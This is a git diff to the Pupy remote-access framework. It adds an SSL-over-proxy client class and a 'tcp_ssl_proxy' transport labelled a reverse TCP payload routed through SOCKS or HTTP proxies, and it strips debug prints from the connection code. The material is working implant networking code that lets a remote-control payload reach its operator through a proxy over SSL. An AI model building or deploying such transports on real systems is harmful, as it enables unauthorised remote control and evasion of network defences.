diff --git a/pupy/network/clients.py b/pupy/network/clients.py index 21e5a9f8..587c2b6a 100644 --- a/pupy/network/clients.py +++ b/pupy/network/clients.py @@ -59,9 +59,7 @@ class PupyProxifiedTCPClient(PupyTCPClient): family, socktype, proto, _, sockaddr = socket.getaddrinfo(host, port, self.family, self.socktype, self.proto)[0] s=socks.socksocket(family, socktype, proto) s.settimeout(self.timeout) - print "connecting..." s.connect(sockaddr) - print "connected" if self.nodelay: s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) if self.keepalive: @@ -73,7 +71,6 @@ class PupyProxifiedTCPClient(PupyTCPClient): s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10) self.sock=s - print "let's rock" return s class PupySSLClient(PupyTCPClient): @@ -99,5 +96,8 @@ class PupySSLClient(PupyTCPClient): def connect(self, host, port): s=super(PupySSLClient, self).connect(host, port) return ssl.wrap_socket(s, **self.ssl_kwargs) + +class PupyProxifiedSSLClient(PupySSLClient, PupyProxifiedTCPClient): + pass diff --git a/pupy/network/conf.py b/pupy/network/conf.py index 0d4f2e51..bd26090a 100644 --- a/pupy/network/conf.py +++ b/pupy/network/conf.py @@ -2,7 +2,7 @@ # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms from .servers import PupyTCPServer -from .clients import PupyTCPClient, PupySSLClient, PupyProxifiedTCPClient +from .clients import PupyTCPClient, PupySSLClient, PupyProxifiedTCPClient, PupyProxifiedSSLClient from .transports import dummy, b64 from .transports.obfs3 import obfs3 import logging @@ -44,6 +44,18 @@ transports["tcp_ssl"]={ "client_transport_kwargs": {}, "server_transport_kwargs": {}, } +transports["tcp_ssl_proxy"]={ + "info" : "Simple reverse TCP payload with SSL passing through a SOCKS4/SOCKS5/HTTP proxy", + "server" : PupyTCPServer, + "client": PupyProxifiedSSLClient, + "client_kwargs" : {'proxy_addr':'127.0.0.1', 'proxy_port':8080, 'proxy_type':'HTTP'}, + "authenticator" : ssl_authenticator, + "stream": PupySocketStream , + "client_transport" : dummy.DummyPupyTransport, + "server_transport" : dummy.DummyPupyTransport, + "client_transport_kwargs": {}, + "server_transport_kwargs": {}, + } transports["tcp_cleartext"]={ "info" : "Simple reverse TCP payload (cleartext)", "server" : PupyTCPServer,